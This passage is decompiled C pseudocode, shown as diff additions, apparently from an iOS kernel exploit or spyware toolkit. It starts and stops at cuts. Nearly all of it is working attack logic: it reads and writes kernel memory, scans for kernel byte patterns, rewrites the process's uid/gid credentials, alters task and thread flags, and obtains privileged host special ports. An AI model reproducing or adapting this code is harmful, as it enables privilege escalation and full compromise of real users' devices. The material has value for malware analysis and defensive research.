!kread64_internal(v2, v56 + 0xA0, &v55) ) + { +LABEL_113: + v12 = 0x2800F; + goto LABEL_123; + } + if ( !validate_addr(v2, v55) ) + goto LABEL_123; + if ( v55 == *(_QWORD *)(v2 + 0x18F0) ) + { + if ( !kwrite64(v2, v56 + 0xA0, v62) ) + { + v12 = 0x28010; + goto LABEL_123; + } + v18 = 0; + } + v49 += 4LL; + if ( v49 == 0x30 ) + goto LABEL_20; + } + v53 = *__error(); + v54 = *__error(); + if ( v53 < 0 ) + v54 = -v54; + v12 = v54 | 0x40000000; +LABEL_123: + v18 = v12; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; + goto LABEL_21; + } +LABEL_20: + v12 = v18; + if ( (v15 & 0x400) != 0 ) + goto LABEL_22; + goto LABEL_21; + } + } + } + } + } + v18 = 0x28026; + goto LABEL_20; + } + } +LABEL_22: + v21 = 0LL; + v22 = 1; + do + { + v23 = v22; + v24 = v58[v21]; + if ( v24 != 0xFFFFFFFF ) + close(v24); + v22 = 0; + v21 = 1LL; + } + while ( (v23 & 1) != 0 ); + for ( k = 0LL; k != 0x30; k += 4LL ) + { + v26 = *(_DWORD *)((char *)v63 + k); + if ( v26 != 0xFFFFFFFF ) + close(v26); + } + if ( name + 1 > 1 ) + mach_port_deallocate(mach_task_self_, name); + v10 = v12 == 0; +LABEL_7: + *(_DWORD *)(a1 + 0xC) = v10; + return 0LL; +} + +//----- (0000000000039888) ---------------------------------------------------- +unsigned __int64 __fastcall sub_39888(_DWORD *a1, unsigned __int64 a2) +{ + unsigned __int64 v3; // x20 + int v4; // w8 + __int64 v5; // x22 + bool v6; // zf + unsigned __int64 v7; // x8 + io_registry_entry_t v8; // w0 + unsigned __int64 v9; // x0 + unsigned __int64 v10; // x0 + int v12; // [xsp+8h] [xbp-58h] BYREF + _DWORD v13[3]; // [xsp+Ch] [xbp-54h] BYREF + unsigned int v14; // [xsp+18h] [xbp-48h] + unsigned __int64 v15; // [xsp+28h] [xbp-38h] BYREF + + v15 = a2; + if ( !a2 ) + { + v8 = IORegistryEntryFromPath(kIOMasterPortDefault, "IOService:/"); + if ( v8 + 1 < 2 ) + return 0LL; + v9 = sub_32D6C((__int64)a1, v8); + if ( !v9 ) + return 0LL; + v10 = sub_328A4((__int64)a1, v9); + v15 = v10; + if ( !v10 ) + return 0LL; + if ( !kread64(a1, v10, (__int64 *)&v15) ) + return 0LL; + v15 = sub_29D2C(a1, v15); + if ( !kread64(a1, v15, (__int64 *)&v15) ) + return 0LL; + a2 = sub_29D2C(a1, v15); + v15 = a2; + } + v3 = 0LL; + v4 = a1[0x60]; + if ( v4 == 0x4000 ) + v5 = 0x4000LL; + else + v5 = 0x100000LL; + v6 = v4 == 0x4000; + v7 = a2 & -v5; + if ( !v6 ) + v7 += 0x4000LL; + if ( v7 >= 0xFFFF000000000000LL ) + { + v3 = v7; + while ( (unsigned int)kreadbuf_last_1((__int64)a1, v3, 4LL, (__int64)&v12) ) + { + if ( v12 == 0xFEEDFACF ) + { + if ( !(unsigned int)kreadbuf_last_1((__int64)a1, v3 + 4, 0x18LL, (__int64)v13) ) + return 0LL; + if ( v13[2] == 2 && v14 >= 9 && v14 < 0x40 ) + return v3; + } + v3 -= v5; + if ( v3 <= 0xFFFEFFFFFFFFFFFFLL ) + return 0LL; + } + return 0LL; + } + return v3; +} + +//----- (0000000000039A24) ---------------------------------------------------- +__int64 __fastcall sub_39A24(__int64 a1, unsigned __int64 a2) +{ + __int64 result; // x0 + unsigned __int64 v3; // x20 + void *v5; // x0 + __int64 v6; // x21 + __int128 v7; // q1 + int v8; // w3 + + if ( *(_QWORD *)(a1 + 0x19F8) ) + return 0LL; + v3 = a2; + if ( !a2 ) + { + v3 = sub_39888((_DWORD *)a1, 0LL); + if ( !v3 ) + return 0x28014LL; + } + v5 = calloc(0x128uLL, 1uLL); + if ( !v5 ) + return 0xAD009LL; + v6 = (__int64)v5; + sub_19DD4((__int64)v5, a1); + v7 = *(_OWORD *)(a1 + 0x150); + *(_OWORD *)(v6 + 0x70) = *(_OWORD *)(a1 + 0x140); + *(_OWORD *)(v6 + 0x80) = v7; + *(_QWORD *)(v6 + 0x90) = *(_QWORD *)(a1 + 0x160); + *(_DWORD *)(v6 + 0x98) = *(_DWORD *)(a1 + 0x178); + *(_DWORD *)(v6 + 0x38) = *(_DWORD *)(a1 + 0x180); + if ( *(_QWORD *)(a1 + 0x158) >> 0x2B <= 0x44AuLL ) + v8 = 0x80; + else + v8 = 0x480; + if ( !sub_1A4FC(v6, 0, v3, v8) ) + return 0x28017LL; + result = 0LL; + *(_QWORD *)(a1 + 0x19F8) = v6; + return result; +} + +//----- (0000000000039B14) ---------------------------------------------------- +unsigned __int64 __fastcall sub_39B14(_QWORD *a1) +{ + unsigned __int64 result; // x0 + __int64 v3; // [xsp+0h] [xbp-20h] BYREF + __int64 v4; // [xsp+8h] [xbp-18h] BYREF + + result = sub_1E99C(a1[0x33F], &v4, &v3); + if ( (_DWORD)result ) + { + result = sub_1F0F4(); + if ( result ) + { + a1[0x30E] = v4; + a1[0x30F] = v3; + a1[0x310] = result; + return 1LL; + } + } + return result; +} + +//----- (0000000000039B70) ---------------------------------------------------- +void __usercall sub_39B70(__int64 a1@, _QWORD *a2@) +{ + __int64 v4; // x10 + __int64 v5; // x0 + char *v6; // x0 + char *v7; // x21 + __int64 v8; // x8 + __int64 v9; // x9 + __int64 v10; // x8 + __int128 v11; // [xsp+8h] [xbp-38h] BYREF + __int64 v12; // [xsp+18h] [xbp-28h] + + *a2 = 0LL; + a2[1] = 0LL; + a2[2] = 0LL; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + goto LABEL_2; + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + { + sub_19B98("__PPLTEXT", *(_QWORD *)(a1 + 0x19F8), &v11); + goto LABEL_5; + } + sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v11); + v4 = v12; + if ( *(_QWORD *)(a1 + 0x158) < 0x1C1B1914600000uLL ) + { + *(_OWORD *)a2 = v11; + a2[2] = v4; + return; + } + *((_QWORD *)&v11 + 1) = *((_QWORD *)&v11 + 1) + v12 - 0x20000; + v12 = 0x20000LL; + v5 = kernel_pattern_scan((__int64)&v11, "08 DC 70 92", 0); + if ( !v5 ) + goto LABEL_2; + v6 = sub_1E800(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v5 - 4)); + if ( !v6 ) + goto LABEL_2; + v7 = v6; + sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v11); + v8 = *((_QWORD *)&v11 + 1) - (_QWORD)v7; + if ( *((_QWORD *)&v11 + 1) > (unsigned __int64)v7 + || (v9 = v12, (unsigned __int64)v7 >= v12 + *((_QWORD *)&v11 + 1)) + || (*a2 = v11, a2[1] = v7, v10 = v8 + v9, (a2[2] = v10) == 0LL) ) + { +LABEL_2: + sub_19D10(*(_QWORD *)(a1 + 0x19F8), &v11); +LABEL_5: + *(_OWORD *)a2 = v11; + a2[2] = v12; + } +} + +//----- (0000000000039CC0) ---------------------------------------------------- +__int64 __fastcall sub_39CC0(__int64 a1, task_name_t target_task, int a3, __int64 a4, __int64 a5) +{ + __int64 result; // x0 + int v11; // w8 + int v12; // w8 + unsigned __int64 v13; // x9 + unsigned int v16; // w24 + mach_msg_type_number_t v17; // w8 + task_flavor_t v18; // w1 + int v19; // w9 + unsigned __int64 v20; // x24 + mach_msg_type_number_t task_info_outCnt; // [xsp+Ch] [xbp-84h] BYREF + _BYTE __s1[32]; // [xsp+10h] [xbp-80h] BYREF + integer_t task_info_out[8]; // [xsp+30h] [xbp-60h] BYREF + + result = 0LL; + v11 = *(_DWORD *)(a1 + 0x140); + if ( v11 > 0x2257 ) + { + if ( v11 != 0x2258 && v11 != 0x2712 && v11 != 0x225C ) + return result; + goto LABEL_14; + } + if ( (unsigned int)(v11 - 0x1F53) < 2 ) + { +LABEL_14: + v12 = 0x40; + v13 = 0x1F530F027FFFFFLL; + goto LABEL_15; + } + if ( v11 == 0x1809 ) + { + v16 = 0xA0; + goto LABEL_18; + } + if ( v11 != 0x1C1B ) + return result; + v12 = 0x94; + v13 = 0x1C1B19145FFFFFLL; +LABEL_15: + if ( *(_QWORD *)(a1 + 0x158) <= v13 ) + v16 = 0x9C; + else + v16 = v12; +LABEL_18: + if ( (unsigned int)(a3 - 1) >= 2 ) + { + if ( a3 != 3 ) + return 0LL; + v16 += 8; + v17 = 8; + v18 = 0xF; + v19 = 0x20; + } + else + { + v17 = 2; + v18 = 0xD; + v19 = 8; + } + if ( v19 != (_DWORD)a5 ) + return 0LL; + task_info_outCnt = v17; + if ( task_info(target_task, v18, task_info_out, &task_info_outCnt) ) + return 0LL; + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + { + result = port_name_to_kaddr(a1, target_task); + if ( !result ) + return result; + } + else + { + result = sub_34754((_DWORD *)a1, target_task); + if ( !result ) + return result; + } + v20 = result + v16; + result = kreadbuf_last_1(a1, v20, (unsigned int)a5, (__int64)__s1); + if ( !(_DWORD)result ) + return result; + if ( memcmp(__s1, task_info_out, (unsigned int)a5) ) + return 0LL; + if ( !*(_QWORD *)(a1 + 0x1900) && a3 == 2 && mach_task_self_ == target_task ) + { + *(_QWORD *)(a1 + 0x1908) = *(_QWORD *)task_info_out; + *(_QWORD *)(a1 + 0x1900) = v20; + } + return kwritebuf_universal((_QWORD *)a1, v20, a4, a5); +} + +//----- (0000000000039EAC) ---------------------------------------------------- +__int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4) +{ + int v8; // w0 + int v9; // w8 + __int64 v10; // x20 + int v11; // w0 + void *(__cdecl *v12)(void *); // x0 + int v13; // w8 + mach_port_t v15; // w0 + thread_act_t v16; // w22 + unsigned int v17; // w1 + int v18; // w0 + kern_return_t v19; // w0 + pthread_t v20; // [xsp+0h] [xbp-70h] BYREF + pthread_attr_t v21; // [xsp+8h] [xbp-68h] BYREF + + v20 = 0LL; + v8 = pthread_attr_init(&v21); + if ( v8 ) + { + if ( v8 >= 0 ) + v9 = v8; + else + v9 = -v8; + return v9 | 0x40000000u; + } + else + { + v11 = pthread_attr_setdetachstate(&v21, 1); + if ( v11 + || (v12 = (void *(__cdecl *)(void *))nullsub_1(a3), (v11 = pthread_create_suspended_np(&v20, &v21, v12, a4)) != 0) ) + { + if ( v11 >= 0 ) + v13 = v11; + else + v13 = -v11; + v10 = v13 | 0x40000000u; + } + else + { + v10 = 0x28003LL; + v15 = pthread_mach_thread_np(v20); + if ( v15 ) + { + v16 = v15; + v17 = *(_DWORD *)(a1 + 0x191C); + if ( !v17 ) + v17 = *(_DWORD *)(a1 + 0x1918); + sub_39FDC(a1, v17, v15); + if ( v18 ) + { + v19 = thread_resume(v16); + if ( v19 ) + { + v10 = v19 | 0x80000000; + } + else + { + v10 = 0LL; + *a2 = v20; + } + } + } + else + { + v10 = 0x28008LL; + } + } + pthread_attr_destroy(&v21); + } + return v10; +} +// 39FA8: variable 'v18' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000039FDC) ---------------------------------------------------- +void __fastcall sub_39FDC(__int64 a1, unsigned int a2, unsigned int a3) +{ + int v5; // w22 + __int64 v6; // x0 + unsigned __int64 v7; // x20 + unsigned __int64 v8; // x0 + mach_vm_address_t v9; // x23 + __int64 v10; // [xsp+8h] [xbp-38h] BYREF + __int64 vars8; // [xsp+48h] [xbp+8h] + + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v5 = 1; + else + v5 = 0x4000000; + if ( a2 ) + { + v6 = sub_340D8((_DWORD *)a1, a2, 0LL); + if ( v6 ) + { + v7 = v6; + v8 = sub_34298(a1, a3); + if ( v8 ) + { + v9 = v8; + if ( kread64((_DWORD *)a1, v8, &v10) ) + { + if ( (unsigned int)set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, a3, v5, 1) ) + { + sub_35FD8(a1, v7); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1F530F027FFFFFuLL ) + kwrite64(a1, v9, v7); + else + sub_2A63C(a1, v9, v7); + } + } + } + } + } + else + { + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + set_flags_something_INEEDTOLOOK_sub_3F8C0(a1, a3, v5, 0); + } +} + +//----- (000000000003A100) ---------------------------------------------------- +bool __fastcall pthread_create_and_join(__int64 a1, __int64 a2, void *a3) +{ + int v3; // w0 + pthread_t v5; // [xsp+8h] [xbp-8h] BYREF + + v5 = 0LL; + v3 = create_pthread_something(a1, &v5, a2, a3); + if ( !v3 ) + v3 = pthread_join(v5, 0LL) != 0; + return v3 == 0; +} + +//----- (000000000003A150) ---------------------------------------------------- +__int64 __fastcall sub_3A150(__int64 a1, int a2, int a3, int a4) +{ + uid_t v8; // w21 + __int64 result; // x0 + unsigned __int64 v10; // x23 + unsigned __int64 v11; // x0 + int v12; // w8 + __int64 v13; // x8 + unsigned __int64 v14; // x21 + __int64 v15; // x0 + __int64 v16; // x0 + unsigned __int64 v17; // x0 + _DWORD v18[4]; // [xsp+0h] [xbp-150h] BYREF + __int128 v19; // [xsp+10h] [xbp-140h] + __int128 v20; // [xsp+20h] [xbp-130h] + __int128 v21; // [xsp+30h] [xbp-120h] + __int128 v22; // [xsp+40h] [xbp-110h] + int v23; // [xsp+50h] [xbp-100h] + int v24; // [xsp+54h] [xbp-FCh] + __int64 __s2; // [xsp+68h] [xbp-E8h] BYREF + int __s2_12; // [xsp+74h] [xbp-DCh] + __int128 v27; // [xsp+78h] [xbp-D8h] + __int128 v28; // [xsp+88h] [xbp-C8h] + __int128 v29; // [xsp+98h] [xbp-B8h] + __int128 v30; // [xsp+A8h] [xbp-A8h] + int v31; // [xsp+CCh] [xbp-84h] BYREF + _QWORD v32[3]; // [xsp+D0h] [xbp-80h] BYREF + int v33; // [xsp+ECh] [xbp-64h] BYREF + __int64 v34; // [xsp+F0h] [xbp-60h] BYREF + unsigned __int64 v35; // [xsp+F8h] [xbp-58h] BYREF + __int64 v36; // [xsp+100h] [xbp-50h] BYREF + unsigned __int64 v37; // [xsp+108h] [xbp-48h] BYREF + + v8 = getuid(); + result = sub_340D8((_DWORD *)a1, mach_task_self_, 0LL); + if ( result ) + { + result = kreadbuf_last_1(a1, result + 0x68, 4LL, (__int64)&v31); + if ( (_DWORD)result ) + { + if ( !*(_DWORD *)(a1 + 0x1910) && !*(_DWORD *)(a1 + 0x1914) ) + { + *(_DWORD *)(a1 + 0x1910) = v8; + *(_DWORD *)(a1 + 0x1914) = v31; + } + if ( v8 == a2 && v31 == a3 ) + return 1LL; + if ( a4 ) + goto LABEL_10; + if ( krw_ctx_has_flag((_DWORD *)a1, 4) ) + return 0LL; + result = *(_QWORD *)(a1 + 0x18E0); + if ( !result ) + { +LABEL_10: + __s2 = 0LL; + result = sub_340D8((_DWORD *)a1, mach_task_self_, &__s2); + if ( !result ) + return result; + if ( !*(_QWORD *)(a1 + 0x18E0) ) + { + *(_QWORD *)(a1 + 0x18E0) = result; + *(_QWORD *)(a1 + 0x18E8) = __s2; + } + } + v10 = result + 0x18; + result = kreadbuf_last_1(a1, result + 0x18, 0x58LL, (__int64)&__s2); + if ( (_DWORD)result ) + { + v18[3] = __s2_12; + v19 = v27; + v20 = v28; + v21 = v29; + v22 = v30; + v18[0] = a2; + v18[1] = a2; + v18[2] = a2; + LODWORD(v19) = a3; + v23 = a3; + v24 = a3; + if ( !memcmp(v18, &__s2, 0x58uLL) + || (result = kwritebuf_universal((_QWORD *)a1, v10, (__int64)v18, 0x58LL), (_DWORD)result) ) + { + v11 = sub_33E8C(a1, mach_task_self_); + v37 = v11; + if ( v11 ) + { + v12 = *(_DWORD *)(a1 + 0x140); + if ( v12 > 0x2257 ) + { + if ( v12 != 0x2258 && v12 != 0x225C && v12 != 0x2712 ) + return 0LL; + v13 = 0xA8LL; + } + else if ( (unsigned int)(v12 - 0x1F53) < 2 ) + { + v13 = 0xB0LL; + } + else if ( v12 == 0x1809 ) + { + v13 = 0xC8LL; + } + else + { + if ( v12 != 0x1C1B ) + return 0LL; + v13 = 0xB8LL; + } + if ( kread64((_DWORD *)a1, v13 + v11, (__int64 *)&v37) ) + { + if ( v37 ) + { + if ( !validate_addr(a1, v37) ) + return 0LL; + } + else + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x5584001) ) + { + v14 = *(_QWORD *)(a1 + 0x1990); + if ( !v14 ) + { + sub_19D10(*(_QWORD *)(a1 + 0x19F8), v32); + v16 = kernel_pattern_scan((__int64)v32, "00 7D 04 13 .. .. .. .. .. .. .. .. 21 05 80 52", 0); + if ( !v16 ) + return 0LL; + v17 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v16 + 4)); + if ( !v17 ) + return 0LL; + v14 = v17; + *(_QWORD *)(a1 + 0x1990) = v17; + } + if ( kread64((_DWORD *)a1, v14, (__int64 *)&v37) + && v37 <= 0x3FF + && kread64((_DWORD *)a1, v14 + *(int *)(a1 + 0x168), &v36) + && validate_addr(a1, v36) + && kread64( + (_DWORD *)a1, + v36 + ((unsigned int)v37 & a2) * (__int64)*(int *)(a1 + 0x168), + (__int64 *)&v35) + && validate_addr(a1, v35) ) + { + v15 = v35; + while ( (unsigned int)kreadbuf_last_1(a1, v15 + 2LL * *(int *)(a1 + 0x168), 4LL, (__int64)&v33) ) + { + if ( v33 == a2 ) + { + if ( kread64((_DWORD *)a1, v35 + 3LL * *(int *)(a1 + 0x168), &v34) ) + { + v34 += 4LL; + if ( sub_288A4(a1, v35 + 3LL * *(int *)(a1 + 0x168), v34) ) + { + if ( v35 ) + return 1LL; + } + } + return 0LL; + } + if ( kread64((_DWORD *)a1, v35, (__int64 *)&v35) ) + { + v15 = validate_addr(a1, v35); + v35 = v15; + if ( v15 ) + continue; + } + return 0LL; + } + } + return 0LL; + } + if ( !sub_1EA70(a1, 0) || !(unsigned int)sub_1D970() || !(unsigned int)sub_1D970() ) + return 0LL; + } + return 1LL; + } + } + return 0LL; + } + } + } + } + return result; +} +// 3A150: too many cbuild loops + +//----- (000000000003A57C) ---------------------------------------------------- +bool __fastcall sub_3A57C(__int64 a1, unsigned __int64 a2, __int16 a3, int *a4) +{ + _BOOL8 result; // x0 + int v9; // w2 + int v10; // [xsp+Ch] [xbp-24h] BYREF + + result = kread32_outptr(a1, a2, &v10); + if ( result ) + { + v9 = v10; + if ( a4 ) + *a4 = v10 & 0x3FF; + return noppl_kwrite32(a1, a2, v9 & 0xFFFFFC00 | a3 & 0x3FF); + } + return result; +} + +//----- (000000000003A5F0) ---------------------------------------------------- +__int64 __fastcall sub_3A5F0(__int64 a1, task_name_t a2) +{ + unsigned __int64 v2; // x8 + unsigned int v4; // w2 + unsigned int v5; // w4 + bool v6; // zf + __int128 v7; // [xsp+0h] [xbp-20h] BYREF + __int64 vars8; // [xsp+28h] [xbp+8h] + + v2 = *(_QWORD *)(a1 + 0x158); + if ( v2 < 0x27120F04B00003LL ) + { + if ( v2 <= 0x225C1E804FFFFFLL ) + { + if ( v2 < 0x225C1980500000LL + || ((*(_DWORD *)a1 & 0x5584001) != 0 ? (v6 = (*(_DWORD *)a1 & 1) == 0) : (v6 = 0), v6) ) + { + v4 = 4; + v5 = 0xF; + goto LABEL_13; + } + } + } + else if ( (*(_BYTE *)a1 & 0x20) != 0 ) + { + v7 = xmmword_43740; + return sub_1CA3C(a1, a2, 4u, (__int64)&v7, 0xFu); + } + v4 = 2; + v5 = 3; +LABEL_13: + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + return sub_1CA3C(a1, a2, v4, 0LL, v5); +} +// 43740: using guessed type __int128 xmmword_43740; + +//----- (000000000003A72C) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3A72C(__int64 a1) +{ + mach_port_t v2; // w20 + unsigned __int64 result; // x0 + unsigned __int64 v4; // x8 + unsigned __int64 v5; // x21 + kern_return_t special_port; // w20 + int v7; // [xsp+8h] [xbp-28h] BYREF + mach_port_t port; // [xsp+Ch] [xbp-24h] BYREF + + v2 = mach_host_self(); + result = *(unsigned int *)(a1 + 0x1920); + if ( (unsigned int)(result + 1) <= 1 ) + { + if ( !host_get_special_port(v2, 0xFFFFFFFF, 2, &port) ) + return port; + v4 = *(_QWORD *)(a1 + 0x158); + if ( v4 >= 0x1F530000000000LL + && ((*(_DWORD *)a1 & 0x5584001) != 0 + || v4 > 0x22580A06BFFFFFLL + || v4 >= 0x1F543C40800000LL && *(int *)(a1 + 0x140) <= 0x2257) ) + { + result = sub_35610(a1, 2); + if ( !result ) + return result; + if ( !(unsigned int)sub_36480(a1, result, &port) ) + return port; + return 0LL; + } + result = sub_32D6C(a1, v2); + if ( result ) + { + v5 = result; + result = sub_3A57C(a1, result, 4, &v7); + if ( (_DWORD)result ) + { + special_port = host_get_special_port(v2, 0xFFFFFFFF, 2, &port); + sub_3A57C(a1, v5, v7, 0LL); + if ( special_port ) + return 0LL; + return port; + } + } + } + return result; +} + +//----- (000000000003A878) ---------------------------------------------------- +unsigned __int64 __fastcall sub_3A878(__int64 a1) +{ + unsigned __int64 result; // x0 + mach_port_name_t v3; // [xsp+Ch] [xbp-14h] BYREF + + result = *(unsigned int *)(a1 + 0x1924); + if ( (unsigned int)(result + 1) <= 1 ) + { + result = sub_35610(a1, 0); + if ( result ) + { + if ( (unsigned int)sub_36480(a1, result, &v3) ) + return 0LL; + else + return v3; + } + } + return result; +} + +//----- (000000000003A8DC) ---------------------------------------------------- +__int64 __fastcall sub_3A8DC(__int64 a1, unsigned int a2) +{ + __int64 result; // x0 + __int64 v5; // x8 + unsigned __int64 v6; // x1 + unsigned __int64 *v7; // x2 + int v8; // w0 + __int64 v9; // [xsp+0h] [xbp-40h] BYREF + unsigned __int64 v10; // [xsp+8h] [xbp-38h] BYREF + __int64 v11; // [xsp+10h] [xbp-30h] BYREF + unsigned __int64 v12; // [xsp+18h] [xbp-28h] BYREF + __int64 v13; // [xsp+20h] [xbp-20h] BYREF + __int64 v14; // [xsp+28h] [xbp-18h] BYREF + + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + return 1LL; + result = sub_349C8((_DWORD *)a1, a2); + if ( result ) + { + result = kread64((_DWORD *)a1, result + 0xB0, &v14); + if ( (_DWORD)result ) + { + result = validate_addr(a1, v14); + if ( result ) + { + result = kread64((_DWORD *)a1, v14 + 0x50, &v13); + if ( (_DWORD)result ) + { + if ( v13 ) + { + v5 = *(_QWORD *)(a1 + 0x128); + if ( v5 ) + { + if ( v13 != v5 ) + { + v11 = 0LL; + v12 = 0LL; + v9 = 0LL; + v10 = 0LL; + if ( !(unsigned int)kreadbuf_last_1(a1, v5 + 0x28, 8LL, (__int64)&v10) + || !(unsigned int)kreadbuf_last_1(a1, *(_QWORD *)(a1 + 0x128) + 0x30LL, 8LL, (__int64)&v9) + || !(unsigned int)kreadbuf_last_1(a1, v13 + 0x28, 8LL, (__int64)&v12) + || !(unsigned int)kreadbuf_last_1(a1, v13 + 0x30, 8LL, (__int64)&v11) ) + { + return 0LL; + } + if ( v12 <= v10 ) + { + v6 = v13 + 0x30; + v7 = (unsigned __int64 *)&v9; + } + else + { + v6 = v13 + 0x28; + v7 = &v10; + } + sub_130B4(a1, v6, (__int64)v7, 8LL); + if ( !v8 ) + return 0LL; + } + } + } + return 1LL; + } + } + } + } + return result; +} +// 3AA0C: variable 'v8' is possibly undefined + +//----- (000000000003AA2C) ---------------------------------------------------- +void __fastcall sub_3AA2C(__int64 a1, unsigned int a2, int a3) +{ + int v6; // w8 + unsigned __int64 v7; // x0 + int v8; // w0 + __int64 v9; // x22 + int v10; // w8 + bool v11; // zf + __int64 v12; // x8 + __int64 v13; // x9 + unsigned __int64 v14; // x0 + __int64 v15; // x21 + __int64 v16; // x22 + unsigned __int64 v17; // x0 + unsigned __int64 v18; // x22 + int v19; // w0 + int v20; // w0 + __int64 v21; // [xsp+8h] [xbp-38h] BYREF + __int64 v22; // [xsp+10h] [xbp-30h] BYREF + unsigned int v23; // [xsp+1Ch] [xbp-24h] BYREF + + v23 = 0; + if ( !(unsigned int)sub_2D934(a1, a2) ) + return; + if ( !a3 ) + { + if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) + { + v7 = sub_349C8((_DWORD *)a1, a2); + if ( !v7 ) + return; + if ( !kread64((_DWORD *)a1, v7 + 0xB0, &v22) ) + return; + if ( !validate_addr(a1, v22) ) + return; + if ( !kread64((_DWORD *)a1, v22 + 0x50, &v21) ) + return; + if ( v21 ) + { + *(_QWORD *)(a1 + 0x128) = v21; + v21 = 0LL; + sub_130B4(a1, v22 + 0x50, (__int64)&v21, *(unsigned int *)(a1 + 0x168)); + if ( !v8 ) + return; + } + goto LABEL_3; + } + if ( !krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) + goto LABEL_3; + v22 = 0LL; + v10 = *(_DWORD *)(a1 + 0x140); + if ( v10 < 0x2712 ) + { + if ( v10 < 0x1F53 ) + { + if ( v10 < 0x1C1B ) + { + if ( *(_QWORD *)(a1 + 0x158) <= 0x18090A078FFFFFuLL ) + v16 = 0xF0LL; + else + v16 = 0xE8LL; +LABEL_38: + v17 = sub_349C8((_DWORD *)a1, a2); + if ( !v17 ) + return; + v18 = v17 + v16; + if ( !(unsigned int)kreadbuf_last_1(a1, v18, 8LL, (__int64)&v22) ) + return; + if ( v22 ) + { + v21 = 0LL; + if ( (vm_page_mask & v22) != 0 ) + return; + sub_130B4(a1, v18, (__int64)&v21, 8LL); + if ( !v19 ) + return; + sub_130B4(a1, v18 + 8, (__int64)&v21, 8LL); + if ( !v20 ) + return; + } + goto LABEL_3; + } + v11 = !krw_ctx_has_flag((_DWORD *)a1, 0x80000); + v12 = 0xE0LL; + v13 = 0xD8LL; + } + else + { + v11 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); + v12 = 0xA0LL; + v13 = 0x98LL; + } + } + else + { + v11 = !krw_ctx_has_flag((_DWORD *)a1, 0x1180000); + v12 = 0xA8LL; + v13 = 0xA0LL; + } + if ( v11 ) + v16 = v13; + else + v16 = v12; + goto LABEL_38; + } +LABEL_3: + v6 = *(_DWORD *)(a1 + 0x140); + if ( v6 <= 0x1F53 ) + { + v9 = 0x10CLL; + if ( v6 != 0x1809 && v6 != 0x1C1B ) + { + if ( v6 != 0x1F53 ) + return; + v9 = 0x11CLL; + } + goto LABEL_28; + } + if ( v6 > 0x225B ) + { + if ( v6 != 0x225C ) + { + if ( v6 != 0x2712 ) + return; + v9 = 0xC8LL; + goto LABEL_28; + } + goto LABEL_23; + } + if ( v6 != 0x1F54 ) + { + if ( v6 != 0x2258 ) + return; +LABEL_23: + v9 = 0xB4LL; + goto LABEL_28; + } + v9 = 0x94LL; +LABEL_28: + v14 = sub_33CB0((_DWORD *)a1, a2); + if ( v14 ) + { + v15 = v14 + v9; + if ( (unsigned int)kreadbuf_last_1(a1, v14 + v9, 4LL, (__int64)&v23) ) + { + v23 = v23 & 0xFFFFFBFF | ((a3 != 0) << 0xA); + kwritebuf_last_1(a1, v15, (__int64)&v23, 4LL); + } + } +} +// 3AB20: variable 'v8' is possibly undefined +// 3AD0C: variable 'v19' is possibly undefined +// 3AD24: variable 'v20' is possibly undefined + +//----- (000000000003AD2C) ---------------------------------------------------- +__int64 __fastcall sub_3AD2C(__int64 a1, unsigned int a2) +{ + unsigned __int64 v3; // x0 + __int64 v4; // x8 + int v5; // w9 + __int64 v6; // x8 + mach_vm_address_t v7; // x20 + unsigned int v8; // w8 + unsigned int v10; // w9 + unsigned int v11; // [xsp+Ch] [xbp-14h] BYREF + + v3 = sub_33E8C(a1, a2); + if ( !v3 ) + return 0LL; + v4 = 0LL; + v5 = *(_DWORD *)(a1 + 0x140); + if ( v5 <= 0x1F53 ) + { + switch ( v5 ) + { + case 0x1809: + v6 = 0x3C0LL; + break; + case 0x1C1B: + v6 = 0x3A8LL; + break; + case 0x1F53: + v6 = 0x430LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1F530F027FFFFFuLL ) + v6 = 0x4D0LL; + break; + default: + return v4; + } + goto LABEL_19; + } + if ( v5 > 0x225B ) + { + if ( v5 != 0x225C && v5 != 0x2712 ) + return v4; + v6 = 0x6A4LL; +LABEL_19: + v7 = v6 + v3; + if ( kread32_outptr(a1, v6 + v3, &v11) ) + { + v8 = v11; + if ( !HIBYTE(v11) ) + { + v10 = *(_QWORD *)(a1 + 0x158) <= 0x1F52FFFFFFFFFFuLL ? v11 | 0x20 : v11 & 0xFFF71FDF | 0x80000; + v11 = v10 & 0xFFFF1FFF; + if ( v8 == (v10 & 0xFFFF1FFF) || noppl_kwrite32(a1, v7, v10 & 0xFFFF1FFF) ) + return 1LL; + } + } + return 0LL; + } + if ( v5 == 0x1F54 ) + { + v6 = 0x4C8LL; + goto LABEL_19; + } + if ( v5 == 0x2258 ) + { + v6 = 0x4ACLL; + goto LABEL_19; + } + return v4; +} + +//----- (000000000003AE94) ---------------------------------------------------- +void __fastcall sub_3AE94(__int64 a1, unsigned int a2, int a3, int a4, int a5) +{ + unsigned __int64 v10; // x0 + unsigned __int64 v11; // x22 + __int64 v12; // x23 + __int64 v13; // x0 + __int64 v14; // x24 + unsigned __int64 v15; // x0 + __int64 v16; // x23 + unsigned __int64 v17; // x0 + __int64 v18; // x0 + __int64 v19; // x23 + int v20; // w8 + _DWORD *v21; // x0 + int v22; // w1 + bool v23; // zf + __int64 v24; // x8 + __int64 v25; // x9 + int v26; // w8 + __int64 v27; // x8 + unsigned __int64 v28; // x22 + unsigned __int64 v29; 